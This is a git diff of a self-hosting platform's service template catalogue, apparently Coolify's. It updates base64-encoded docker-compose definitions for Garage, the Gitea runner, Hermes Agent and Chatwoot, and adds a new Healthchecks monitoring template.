C0gJy1hJwogICAgICAgIC0gJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "chatwoot", "chat", @@ -1620,7 +1620,7 @@ "garage": { "documentation": "https://garagehq.deuxfleurs.fr/documentation/?utm_source=coolify.io", "slogan": "Garage is an S3-compatible distributed object storage service designed for self-hosting.", - "compose": "c2VydmljZXM6CiAgZ2FyYWdlOgogICAgaW1hZ2U6ICdkeGZscnMvZ2FyYWdlOnYyLjEuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIEdBUkFHRV9TM19BUElfVVJMPSRHQVJBR0VfUzNfQVBJX1VSTAogICAgICAtIEdBUkFHRV9XRUJfVVJMPSRHQVJBR0VfV0VCX1VSTAogICAgICAtIEdBUkFHRV9BRE1JTl9VUkw9JEdBUkFHRV9BRE1JTl9VUkwKICAgICAgLSAnR0FSQUdFX1JQQ19TRUNSRVQ9JHtTRVJWSUNFX0hFWF8zMl9SUENTRUNSRVR9JwogICAgICAtIEdBUkFHRV9BRE1JTl9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0UKICAgICAgLSBHQVJBR0VfTUVUUklDU19UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0VNRVRSSUNTCiAgICAgIC0gR0FSQUdFX0FMTE9XX1dPUkxEX1JFQURBQkxFX1NFQ1JFVFM9dHJ1ZQogICAgICAtICdSVVNUX0xPRz0ke1JVU1RfTE9HOi1nYXJhZ2U9aW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdnYXJhZ2UtbWV0YTovdmFyL2xpYi9nYXJhZ2UvbWV0YScKICAgICAgLSAnZ2FyYWdlLWRhdGE6L3Zhci9saWIvZ2FyYWdlL2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2dhcmFnZS50b21sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2dhcmFnZS50b21sCiAgICAgICAgY29udGVudDogIm1ldGFkYXRhX2RpciA9IFwiL3Zhci9saWIvZ2FyYWdlL21ldGFcIlxuZGF0YV9kaXIgPSBcIi92YXIvbGliL2dhcmFnZS9kYXRhXCJcbmRiX2VuZ2luZSA9IFwibG1kYlwiXG5cbnJlcGxpY2F0aW9uX2ZhY3RvciA9IDFcbmNvbnNpc3RlbmN5X21vZGUgPSBcImNvbnNpc3RlbnRcIlxuXG5jb21wcmVzc2lvbl9sZXZlbCA9IDFcbmJsb2NrX3NpemUgPSBcIjFNXCJcblxucnBjX2JpbmRfYWRkciA9IFwiWzo6XTozOTAxXCJcbnJwY19zZWNyZXRfZmlsZSA9IFwiZW52OkdBUkFHRV9SUENfU0VDUkVUXCJcbmJvb3RzdHJhcF9wZWVycyA9IFtdXG5cbltzM19hcGldXG5zM19yZWdpb24gPSBcImdhcmFnZVwiXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDBcIlxucm9vdF9kb21haW4gPSBcIi5zMy5nYXJhZ2UubG9jYWxob3N0XCJcblxuW3MzX3dlYl1cbmJpbmRfYWRkciA9IFwiWzo6XTozOTAyXCJcbnJvb3RfZG9tYWluID0gXCIud2ViLmdhcmFnZS5sb2NhbGhvc3RcIlxuXG5bYWRtaW5dXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDNcIlxuYWRtaW5fdG9rZW5fZmlsZSA9IFwiZW52OkdBUkFHRV9BRE1JTl9UT0tFTlwiXG5tZXRyaWNzX3Rva2VuX2ZpbGUgPSBcImVudjpHQVJBR0VfTUVUUklDU19UT0tFTlwiIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9nYXJhZ2UKICAgICAgICAtIHN0YXRzCiAgICAgICAgLSAnLWEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZ2FyYWdlOgogICAgaW1hZ2U6ICdkeGZscnMvZ2FyYWdlOnYyLjEuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIEdBUkFHRV9TM19BUElfVVJMPSRHQVJBR0VfUzNfQVBJX1VSTAogICAgICAtIEdBUkFHRV9XRUJfVVJMPSRHQVJBR0VfV0VCX1VSTAogICAgICAtIEdBUkFHRV9BRE1JTl9VUkw9JEdBUkFHRV9BRE1JTl9VUkwKICAgICAgLSAnR0FSQUdFX1JQQ19TRUNSRVQ9JHtTRVJWSUNFX0hFWF82NF9SUENTRUNSRVR9JwogICAgICAtIEdBUkFHRV9BRE1JTl9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0UKICAgICAgLSBHQVJBR0VfTUVUUklDU19UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9HQVJBR0VNRVRSSUNTCiAgICAgIC0gR0FSQUdFX0FMTE9XX1dPUkxEX1JFQURBQkxFX1NFQ1JFVFM9dHJ1ZQogICAgICAtICdSVVNUX0xPRz0ke1JVU1RfTE9HOi1nYXJhZ2U9aW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdnYXJhZ2UtbWV0YTovdmFyL2xpYi9nYXJhZ2UvbWV0YScKICAgICAgLSAnZ2FyYWdlLWRhdGE6L3Zhci9saWIvZ2FyYWdlL2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2dhcmFnZS50b21sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2dhcmFnZS50b21sCiAgICAgICAgY29udGVudDogIm1ldGFkYXRhX2RpciA9IFwiL3Zhci9saWIvZ2FyYWdlL21ldGFcIlxuZGF0YV9kaXIgPSBcIi92YXIvbGliL2dhcmFnZS9kYXRhXCJcbmRiX2VuZ2luZSA9IFwibG1kYlwiXG5cbnJlcGxpY2F0aW9uX2ZhY3RvciA9IDFcbmNvbnNpc3RlbmN5X21vZGUgPSBcImNvbnNpc3RlbnRcIlxuXG5jb21wcmVzc2lvbl9sZXZlbCA9IDFcbmJsb2NrX3NpemUgPSBcIjFNXCJcblxucnBjX2JpbmRfYWRkciA9IFwiWzo6XTozOTAxXCJcbnJwY19zZWNyZXRfZmlsZSA9IFwiZW52OkdBUkFHRV9SUENfU0VDUkVUXCJcbmJvb3RzdHJhcF9wZWVycyA9IFtdXG5cbltzM19hcGldXG5zM19yZWdpb24gPSBcImdhcmFnZVwiXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDBcIlxucm9vdF9kb21haW4gPSBcIi5zMy5nYXJhZ2UubG9jYWxob3N0XCJcblxuW3MzX3dlYl1cbmJpbmRfYWRkciA9IFwiWzo6XTozOTAyXCJcbnJvb3RfZG9tYWluID0gXCIud2ViLmdhcmFnZS5sb2NhbGhvc3RcIlxuXG5bYWRtaW5dXG5hcGlfYmluZF9hZGRyID0gXCJbOjpdOjM5MDNcIlxuYWRtaW5fdG9rZW5fZmlsZSA9IFwiZW52OkdBUkFHRV9BRE1JTl9UT0tFTlwiXG5tZXRyaWNzX3Rva2VuX2ZpbGUgPSBcImVudjpHQVJBR0VfTUVUUklDU19UT0tFTlwiIgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9nYXJhZ2UKICAgICAgICAtIHN0YXRzCiAgICAgICAgLSAnLWEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", "tags": [ "object", "storage", @@ -1666,7 +1666,7 @@ "gitea-runner": { "documentation": "https://github.com/go-gitea/gitea?utm_source=coolify.io", "slogan": "Gitea Actions runner for docker", - "compose": "c2VydmljZXM6CiAgcnVubmVyOgogICAgaW1hZ2U6ICdkb2NrZXIuaW8vZ2l0ZWEvcnVubmVyOjEuMC42JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dJVEVBX0lOU1RBTkNFX1VSTD0ke0dJVEVBX0lOU1RBTkNFX1VSTH0nCiAgICAgIC0gJ0dJVEVBX1JVTk5FUl9SRUdJU1RSQVRJT05fVE9LRU49JHtHSVRFQV9SVU5ORVJfUkVHSVNUUkFUSU9OX1RPS0VOfScKICAgICAgLSAnR0lURUFfUlVOTkVSX05BTUU9JHtHSVRFQV9SVU5ORVJfTkFNRTotZ2l0ZWEtcnVubmVyfScKICAgICAgLSAnR0lURUFfUlVOTkVSX0xBQkVMUz0ke0dJVEVBX1JVTk5FUl9MQUJFTFM6LXVidW50dS1sYXRlc3Q6ZG9ja2VyOi8vbm9kZToyMn0nCiAgICAgIC0gJ0dJVEVBX1RPS0VOPSR7R0lURUFfVE9LRU59JwogICAgd29ya2luZ19kaXI6IC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdydW5uZXItZGF0YTovZGF0YScKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2snCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ1tSXXVubmVyJyA+IC9kZXYvbnVsbCB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK", + "compose": "c2VydmljZXM6CiAgcnVubmVyOgogICAgaW1hZ2U6ICdkb2NrZXIuaW8vZ2l0ZWEvcnVubmVyOjEuMC43JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dJVEVBX0lOU1RBTkNFX1VSTD0ke0dJVEVBX0lOU1RBTkNFX1VSTH0nCiAgICAgIC0gJ0dJVEVBX1JVTk5FUl9SRUdJU1RSQVRJT05fVE9LRU49JHtHSVRFQV9SVU5ORVJfUkVHSVNUUkFUSU9OX1RPS0VOfScKICAgICAgLSAnR0lURUFfUlVOTkVSX05BTUU9JHtHSVRFQV9SVU5ORVJfTkFNRTotZ2l0ZWEtcnVubmVyfScKICAgICAgLSAnR0lURUFfUlVOTkVSX0xBQkVMUz0ke0dJVEVBX1JVTk5FUl9MQUJFTFM6LXVidW50dS1sYXRlc3Q6ZG9ja2VyOi8vbm9kZToyMn0nCiAgICAgIC0gJ0dJVEVBX1RPS0VOPSR7R0lURUFfVE9LRU59JwogICAgd29ya2luZ19kaXI6IC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdydW5uZXItZGF0YTovZGF0YScKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2snCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ1tSXXVubmVyJyA+IC9kZXYvbnVsbCB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK", "tags": [ "gitea", "actions", @@ -2007,6 +2007,24 @@ "minversion": "0.0.0", "port": "80" }, + "healthchecks": { + "documentation": "https://healthchecks.io/docs?utm_source=coolify.io", + "slogan": "Healthchecks is a cron job monitoring service. It listens for HTTP requests and email messages from your cron jobs and scheduled tasks.", + "compose": "c2VydmljZXM6CiAgaGVhbHRoY2hlY2tzOgogICAgaW1hZ2U6ICdoZWFsdGhjaGVja3MvaGVhbHRoY2hlY2tzOnY0LjInCiAgICBjb250YWluZXJfbmFtZTogaGVhbHRoY2hlY2tzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9IRUFMVEhDSEVDS1NfODAwMAogICAgICAtIERCPXNxbGl0ZQogICAgICAtIERCX05BTUU9L2RhdGEvaGMuc3FsaXRlCiAgICAgIC0gJ0FMTE9XRURfSE9TVFM9JHtBTExPV0VEX0hPU1RTOi0qfScKICAgICAgLSAnUkVHSVNUUkFUSU9OX09QRU49JHtSRUdJU1RSQVRJT05fT1BFTjotVHJ1ZX0nCiAgICAgIC0gJ0RFQlVHPSR7REVCVUc6LUZhbHNlfScKICAgICAgLSAnU0VDUkVUX0tFWT0ke1NFQ1JFVF9LRVk6PyR7U0VSVklDRV9QQVNTV09SRF82NF9IRUFMVEhDSEVDS1N9fScKICAgICAgLSAnU0lURV9ST09UPSR7U0VSVklDRV9VUkxfSEVBTFRIQ0hFQ0tTfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi1maXhtZS1lbWFpbC1hZGRyZXNzLWhlcmV9JwogICAgICAtICdFTUFJTF9IT1NUPSR7RU1BSUxfSE9TVDotbXktc210cC1zZXJ2ZXItaGVyZS5jb219JwogICAgICAtICdFTUFJTF9QT1JUPSR7RU1BSUxfUE9SVDotNDY1fScKICAgICAgLSAnRU1BSUxfSE9TVF9VU0VSPSR7RU1BSUxfSE9TVF9VU0VSOi1teV91c2VybmFtZX0nCiAgICAgIC0gJ0VNQUlMX0hPU1RfUEFTU1dPUkQ9JHtFTUFJTF9IT1NUX1BBU1NXT1JEOi1teXBhc3N3b3JkfScKICAgICAgLSAnRU1BSUxfVVNFX1NTTD0ke0VNQUlMX1VTRV9TU0w6LVRydWV9JwogICAgICAtICdFTUFJTF9VU0VfVExTPSR7RU1BSUxfVVNFX1RMUzotRmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnaGVhbHRoY2hlY2tzLWRhdGE6L2RhdGEnCg==", + "tags": [ + "monitoring", + "status", + "performance", + "web", + "services", + "applications", + "real-time" + ], + "category": "monitoring", + "logo": "svgs/healthchecks.webp", + "minversion": "0.0.0", + "port": "80000" + }, "heimdall": { "documentation": "https://github.com/linuxserver/Heimdall?utm_source=coolify.io", "slogan": "Heimdall is a dashboard for managing and organizing your server applications.", @@ -2024,7 +2042,7 @@ "hermes-agent-with-webui": { "documentation": "https://github.com/nesquena/hermes-webui?utm_source=coolify.io", "slogan": "Hermes Agent \u2014 autonomous AI agent with persistent memory, scheduling, and a self-hosted web chat UI.", - "compose": "c2VydmljZXM6CiAgaGVybWVzLWFnZW50OgogICAgaW1hZ2U6ICdub3VzcmVzZWFyY2gvaGVybWVzLWFnZW50OnNoYS0yNzNmZjVjNGE0N2FmNDQ5OWJiZTVlM2IxMTM5ZWZkMzEzOTk1NTU0JwogICAgY29tbWFuZDogJ2dhdGV3YXkgcnVuJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEVSTUVTX0hPTUU9L2hvbWUvaGVybWVzLy5oZXJtZXMKICAgICAgLSBIRVJNRVNfVUlEPTEwMDAKICAgICAgLSBIRVJNRVNfR0lEPTEwMDAKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnQU5USFJPUElDX0FQSV9LRVk9JHtBTlRIUk9QSUNfQVBJX0tFWX0nCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogICAgICAtICdHT09HTEVfQVBJX0tFWT0ke0dPT0dMRV9BUElfS0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lcy8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9vcHQvaGVybWVzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd0ZXN0IC1kIC9ob21lL2hlcm1lcy8uaGVybWVzIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgaGVybWVzLXdlYnVpOgogICAgaW1hZ2U6ICdnaGNyLmlvL25lc3F1ZW5hL2hlcm1lcy13ZWJ1aTowLjUxLjkyJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBoZXJtZXMtYWdlbnQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hFUk1FU1dFQlVJXzg3ODcKICAgICAgLSBIRVJNRVNfV0VCVUlfSE9TVD0wLjAuMC4wCiAgICAgIC0gSEVSTUVTX1dFQlVJX1BPUlQ9ODc4NwogICAgICAtIEhFUk1FU19XRUJVSV9TVEFURV9ESVI9L2hvbWUvaGVybWVzd2VidWkvLmhlcm1lcy93ZWJ1aQogICAgICAtIFdBTlRFRF9VSUQ9MTAwMAogICAgICAtIFdBTlRFRF9HSUQ9MTAwMAogICAgICAtICdIRVJNRVNfV0VCVUlfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0hFUk1FU1dFQlVJfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMnCiAgICAgIC0gJ2hlcm1lcy1hZ2VudC1zcmM6L2hvbWUvaGVybWVzd2VidWkvLmhlcm1lcy9oZXJtZXMtYWdlbnQ6cm8nCiAgICAgIC0gJ2hlcm1lcy13b3Jrc3BhY2U6L3dvcmtzcGFjZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4Nzg3L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCg==", + "compose": "c2VydmljZXM6CiAgaGVybWVzLWFnZW50OgogICAgaW1hZ2U6ICdub3VzcmVzZWFyY2gvaGVybWVzLWFnZW50QHNoYTI1NjoyZjFmMmYxNzI1ZTVkYzlhNjFjZjZhMmRlYTVhY2E1MmE3NzZlYzRkMDIyY2IyOTY3OWU2YWEzZmYzMDNlNzdhJwogICAgY29tbWFuZDogJ2dhdGV3YXkgcnVuJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEVSTUVTX0hPTUU9L2hvbWUvaGVybWVzLy5oZXJtZXMKICAgICAgLSBIRVJNRVNfVUlEPTEwMDAKICAgICAgLSBIRVJNRVNfR0lEPTEwMDAKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnQU5USFJPUElDX0FQSV9LRVk9JHtBTlRIUk9QSUNfQVBJX0tFWX0nCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogICAgICAtICdHT09HTEVfQVBJX0tFWT0ke0dPT0dMRV9BUElfS0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lcy8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9vcHQvaGVybWVzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd0ZXN0IC1kIC9ob21lL2hlcm1lcy8uaGVybWVzIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgaGVybWVzLXdlYnVpOgogICAgaW1hZ2U6ICdnaGNyLmlvL25lc3F1ZW5hL2hlcm1lcy13ZWJ1aTowLjUxLjkyJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBoZXJtZXMtYWdlbnQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hFUk1FU1dFQlVJXzg3ODcKICAgICAgLSBIRVJNRVNfV0VCVUlfSE9TVD0wLjAuMC4wCiAgICAgIC0gSEVSTUVTX1dFQlVJX1BPUlQ9ODc4NwogICAgICAtIEhFUk1FU19XRUJVSV9TVEFURV9ESVI9L2hvbWUvaGVybWVzd2VidWkvLmhlcm1lcy93ZWJ1aQogICAgICAtIFdBTlRFRF9VSUQ9MTAwMAogICAgICAtIFdBTlRFRF9HSUQ9MTAwMAogICAgICAtICdIRVJNRVNfV0VCVUlfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0hFUk1FU1dFQlVJfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMnCiAgICAgIC0gJ2hlcm1lcy1hZ2VudC1zcmM6L2hvbWUvaGVybWVzd2VidWkvLmhlcm1lcy9oZXJtZXMtYWdlbnQ6cm8nCiAgICAgIC0gJ2hlcm1lcy13b3Jrc3BhY2U6L3dvcmtzcGFjZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4Nzg3L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCg==", "tags": [ "ai", "agent", diff --git a/templates/service-templates.json b/templates/service-templates.json index b07fe0511..26aed5826 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -527,7 +527,7 @@ "chatwoot": { "documentation": "https://www.chatwoot.com/docs/self-hosted/?utm_source=coolify.io", "slogan": "Delightful customer relationships at scale.", - "compose": "c2VydmljZXM6CiAgY2hhdHdvb3Q6CiAgICBpbWFnZTogJ2NoYXR3b290L2NoYXR3b290OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSByZWRpcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NIQVRXT09UXzMwMDAKICAgICAgLSBTRUNSRVRfS0VZX0JBU0U9JFNFUlZJQ0VfUEFTU1dPUkRfQ0hBVFdPT1QKICAgICAgLSAnRlJPTlRFTkRfVVJMPSR7U0VSVklDRV9GUUROX0NIQVRXT09UfScKICAgICAgLSAnREVGQVVMVF9MT0NBTEU9JHtDSEFUV09PVF9ERUZBVUxUX0xPQ0FMRX0nCiAgICAgIC0gJ0ZPUkNFX1NTTD0ke0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdFTkFCTEVfQUNDT1VOVF9TSUdOVVA9JHtFTkFCTEVfQUNDT1VOVF9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vZGVmYXVsdEByZWRpczo2Mzc5JwogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgIC0gJ1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU9JHtSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFOi1ub25lfScKICAgICAgLSAnUE9TVEdSRVNfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtICdQT1NUR1JFU19IT1NUPSR7UE9TVEdSRVNfSE9TVDotcG9zdGdyZXN9JwogICAgICAtIFBPU1RHUkVTX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdSQUlMU19NQVhfVEhSRUFEUz0ke1JBSUxTX01BWF9USFJFQURTOi01fScKICAgICAgLSAnTk9ERV9FTlY9JHtOT0RFX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ1JBSUxTX0VOVj0ke1JBSUxTX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ0lOU1RBTExBVElPTl9FTlY9JHtJTlNUQUxMQVRJT05fRU5WOi1kb2NrZXJ9JwogICAgICAtICdNQUlMRVJfU0VOREVSX0VNQUlMPSR7Q0hBVFdPT1RfTUFJTEVSX1NFTkRFUl9FTUFJTH0nCiAgICAgIC0gJ1NNVFBfQUREUkVTUz0ke0NIQVRXT09UX1NNVFBfQUREUkVTU30nCiAgICAgIC0gJ1NNVFBfQVVUSEVOVElDQVRJT049JHtDSEFUV09PVF9TTVRQX0FVVEhFTlRJQ0FUSU9OfScKICAgICAgLSAnU01UUF9ET01BSU49JHtDSEFUV09PVF9TTVRQX0RPTUFJTn0nCiAgICAgIC0gJ1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE89JHtDSEFUV09PVF9TTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPfScKICAgICAgLSAnU01UUF9QT1JUPSR7Q0hBVFdPT1RfU01UUF9QT1JUfScKICAgICAgLSAnU01UUF9VU0VSTkFNRT0ke0NIQVRXT09UX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdTTVRQX1BBU1NXT1JEPSR7Q0hBVFdPT1RfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0FDVElWRV9TVE9SQUdFX1NFUlZJQ0U9JHtBQ1RJVkVfU1RPUkFHRV9TRVJWSUNFOi1sb2NhbH0nCiAgICBlbnRyeXBvaW50OiBkb2NrZXIvZW50cnlwb2ludHMvcmFpbHMuc2gKICAgIGNvbW1hbmQ6ICdzaCAtYyAiYnVuZGxlIGV4ZWMgcmFpbHMgZGI6Y2hhdHdvb3RfcHJlcGFyZSAmJiBidW5kbGUgZXhlYyByYWlscyBzIC1wIDMwMDAgLWIgMC4wLjAuMCInCiAgICB2b2x1bWVzOgogICAgICAtICdyYWlscy1kYXRhOi9hcHAvc3RvcmFnZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgc2lkZWtpcToKICAgIGltYWdlOiAnY2hhdHdvb3QvY2hhdHdvb3Q6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3JlcwogICAgICAtIHJlZGlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRUNSRVRfS0VZX0JBU0U9JFNFUlZJQ0VfUEFTU1dPUkRfQ0hBVFdPT1QKICAgICAgLSAnRlJPTlRFTkRfVVJMPSR7U0VSVklDRV9GUUROX0NIQVRXT09UfScKICAgICAgLSAnREVGQVVMVF9MT0NBTEU9JHtDSEFUV09PVF9ERUZBVUxUX0xPQ0FMRX0nCiAgICAgIC0gJ0ZPUkNFX1NTTD0ke0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdFTkFCTEVfQUNDT1VOVF9TSUdOVVA9JHtFTkFCTEVfQUNDT1VOVF9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vZGVmYXVsdEByZWRpczo2Mzc5JwogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgIC0gJ1JFRElTX09QRU5TU0xfVkVSSUZZX01PREU9JHtSRURJU19PUEVOU1NMX1ZFUklGWV9NT0RFOi1ub25lfScKICAgICAgLSAnUE9TVEdSRVNfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotY2hhdHdvb3R9JwogICAgICAtICdQT1NUR1JFU19IT1NUPSR7UE9TVEdSRVNfSE9TVDotcG9zdGdyZXN9JwogICAgICAtIFBPU1RHUkVTX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdSQUlMU19NQVhfVEhSRUFEUz0ke1JBSUxTX01BWF9USFJFQURTOi01fScKICAgICAgLSAnTk9ERV9FTlY9JHtOT0RFX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ1JBSUxTX0VOVj0ke1JBSUxTX0VOVjotcHJvZHVjdGlvbn0nCiAgICAgIC0gJ0lOU1RBTExBVElPTl9FTlY9JHtJTlNUQUxMQVRJT05fRU5WOi1kb2NrZXJ9JwogICAgICAtICdNQUlMRVJfU0VOREVSX0VNQUlMPSR7Q0hBVFdPT1RfTUFJTEVSX1NFTkRFUl9FTUFJTH0nCiAgICAgIC0gJ1NNVFBfQUREUkVTUz0ke0NIQVRXT09UX1NNVFBfQUREUkVTU30nCiAgICAgIC0gJ1NNVFBfQVVUSEVOVElDQVRJT049JHtDSEFUV09PVF9TTVRQX0FVVEhFTlRJQ0FUSU9OfScKICAgICAgLSAnU01UUF9ET01BSU49JHtDSEFUV09PVF9TTVRQX0RPTUFJTn0nCiAgICAgIC0gJ1NNVFBfRU5BQkxFX1NUQVJUVExTX0FVVE89JHtDSEFUV09PVF9TTVRQX0VOQUJMRV9TVEFSVFRMU19BVVRPfScKICAgICAgLSAnU01UUF9QT1JUPSR7Q0hBVFdPT1RfU01UUF9QT1JUfScKICAgICAgLSAnU01UUF9VU0VSTkFNRT0ke0NIQVRXT09UX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdTTVRQX1BBU1NXT1JEPSR7Q0hBVFdPT1RfU01UU